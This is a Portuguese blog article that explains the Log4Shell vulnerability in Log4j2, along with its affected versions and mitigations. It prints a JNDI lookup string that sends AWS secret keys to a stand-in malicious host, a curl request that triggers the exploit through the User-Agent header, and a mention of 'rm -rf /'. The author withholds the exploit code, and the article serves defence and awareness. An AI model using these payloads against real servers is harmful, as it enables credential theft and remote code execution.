Log4Shell - Explorando um servidor Java vulnerável

Photo by FLY:D on Unsplash

Log4Shell - Explorando um servidor Java vulnerável

Entenda de forma prática como a vulnerabilidade de segurança detectada no Log4j2 pode ser explorada e saiba proteger suas aplicações.

No dia 09/12/2021 tornou-se pública a vulnerabilidade de segurança apelidada de Log4Shell e que foi encontrada na biblioteca Log4j2, amplamente utilizada em todo o mundo. Tal vulnerabilidade registrada como CVE-2021-44228 recebeu nota 10 de criticidade face facilidade de exploração e risco gerado uma vez que permite a execução de código remoto (RCE - Remote code execution). Através da execução de código remoto o atacante pode, por exemplo, executar comandos na linha de comando do S.O. que executa a aplicação, dai o nome Log4Shell.

Se a aplicação estiver executando com usuário de administrador do sistema (root) o atacante possuirá privilégios de administrador. Por isso a importância de executar aplicações com privilégios limitados.

Com acesso a linha de comando do S.O. o atacante pode fazer o que desejar, desde instalar ransomwares e mineradores de criptomoedas a roubar dados e credenciais de acesso e etc.

A anatomia da vulnerabilidade

Graças a funcionalidade de Lookups do Log4j2 e de JNDI do Java é possível fazer com que uma aplicação vulnerável realize requisições expondo informações sensíveis ou baixe e execute código de um servidor remoto.

A funcionalidade de Lookups faz a substituição de strings "especiais" antes de logar as mesmas. Tais strings possuem o formato ${name} onde name pode ser muitas coisas (conforme documentação oficial) entre elas JNDI. No caso de uma string JNDI para resolver (substituir) o valor a ser logado o Log4j2 faz uma requisição a um servidor remoto, sendo ai que mora o perigo. O resultado dessa requisição pode ser código malicioso que será executado pela aplicação vulnerável.

Para explorar a vulnerabilidade o atacante precisa fazer com que uma string maliciosa seja logada pelo Log4j2.

Obtendo informações sensíveis

Um exemplo do uso da funcionalidade de Lookups seria logar a string ${env:JAVA_HOME} que resultaria com o valor da variável de ambiente JAVA_HOME sendo logada, comum em sistemas que executam aplicações Java. Combinando isso com JNDI o atacante poderia tentar enviar a string abaixo para uma aplicação vulnerável:

${jndi:ldap://x${env:AWS_SECRET_ACCESS_KEY}-${env:AWS_ACCESS_KEY_ID}.servidor-malicioso.com/a}

Resultando em uma requisição LDAP via JNDI ao servidor-malicioso.com onde ${env:AWS_SECRET_ACCESS_KEY} e ${env:AWS_ACCESS_KEY_ID} seriam substituídos por informações sensíveis, nesse caso o secret access key e o access key id da AWS. A informação vazada poderia ser qualquer coisa, como o sistema operacional ${java:os}, a versão do java ${java:version} ou qualquer outra coisa. Aqui a criatividade e paciência do atacante impera na busca de informações sensíveis.

A figura abaixo representa o fluxo de um ataque que visa a obtenção de informações sensíveis:

SEQUENCE.png

Ao logar as requisições recebidas o atacante saberá que recebeu a requisição jndi:ldap://wJalrXUtnFEMI.servidor-malicioso.com/a da aplicação-vulneravel.com onde wJalrXUtnFEMI é a informação buscada.

Para o exemplo apresentado consideramos que a aplicação vulnerável loga o valor contido no cabeçalho User-Agent das requisições recebidas, possibilitando a exploração da vulnerabilidade.

Executando código remoto

O ataque visando a execução de código remoto segue a mesma linha do que visa a obtenção de informações sensíveis, nesse caso, no entanto, o servidor LDAP ao receber uma requisição devolve uma classe Java com código malicioso que será executado pela aplicação vulnerável.

JC3fy1TovAl.png

Como dito no início do artigo com a habilidade de executar código no servidor vulnerável o atacante pode, entre outras coisas:

  • Instalar ransomwares e mineradores de criptomoedas;
  • Roubar dados e informações sensíveis;
  • Criar e executar arquivos
  • Deletar diretórios
  • Etc

As possibilidades são infinitas a depender do privilégio do usuário do S.O. que executou a aplicação.

A imagem abaixo demonstra uma PoC que criei em meu computador pessoal onde é injetado em uma aplicação vulnerável código malicioso que abre uma conexão socket e fica esperando requisições com comandos a serem executados na linha de comando do S.O. da aplicação.

FGvtc2QXMAM1FEi.jfif

Conforme é possível visualizar na imagem não há sucesso na primeira tentativa de executar o comando dir uma vez que o exploit ainda não foi realizado. No entanto, após realizar a requisição com string maliciosa curl -X GET -H "User-Agent: ${jndi:ldap://127.0.0.1:1389/a}" localhost:8080/log4j2 que ativa o exploit, a segunda tentativa ocorre com sucesso. No exemplo foi executado um comando que não causa dano algum, no entanto poderia ser algo como rm -rf /.

A aplicação foi propositalmente criada para ser vulnerável para fins de testes. Na imagem é possível observar que a aplicação loga o valor contido em User-Agent

Quem é afetado pela vulnerabilidade

Aplicações que possuem e utilizam o log4j2 para logar informações vindas de fora da aplicação (input de dados) podem está vulneráveis caso não façam o tratamento adequado de tais informações (CWE-20 - Improper Input Validation). A princípio as versões afetadas iam de 2.0-beta9 até 2.14.1.

No entanto após liberação da versão 2.15.0 que tinha como objetivo a resolução do problema outras vulnerabilidades relacionadas foram encontradas. O time da apache responsável por manter o Log4j2 vem atuando diariamente na resolução das vulnerabilidades detectadas.

Como se proteger"

Manter as dependências da sua aplicação e do seu ambiente (versão do java) atualizados é a melhor forma de se proteger. As versões mais recentes que visam a resolução do problema são:

  • 2.17.1 (Java 8)
  • 2.12.4 (Java 7)
  • 2.3.2 (Java 6)

No entanto isso nem sempre é possível. A página de segurança do Log4j2 detalha uma lista de ações que podem ser tomadas para mitigar a vulnerabilidade. Além das ações citadas outras podem mitigar ou atenuar o problema:

  • Limitar o tráfego de saída: Se a aplicação vulnerável não puder realizar requisições para hosts desconhecidos não há como expor dados sensíveis ou baixar e executar código malicioso. Desta forma, se você limitar o trafego de saída para hosts conhecidos e confiáveis sua aplicação/servidor estará protegida.
  • O uso de um WAF (Web Application Firewall) irá atenuar o problema uma vez que regras no firewall podem bloquear requisições maliciosas analisando se consta na requisição uma string maliciosa.

Considerações finais

A ideia de escrever esse artigo surgiu no dia em que a vulnerabilidade foi divulgada, no entanto considerei prudente aguardar um pouco afim de que o mesmo não seja usado de forma indevida.

Delimitei como objetivo demostrar como é simples explorar a vulnerabilidade e o risco da mesma, afim de alertar que ações devem ser tomadas para atenuar e se possível mitigar o problema.

A PoC citada no artigo ficou plenamente funcional na madrugada no dia 16/12, conforme postado na tarde do mesmo dia no twitter.

Em nenhum momento divulguei e nem irei divulgar o código utilizado. Tão pouco irei ensinar a de fato explorar a vulnerabilidade.

Espero, sinceramente, que as informações aqui passadas sejam utilizadas para o bem.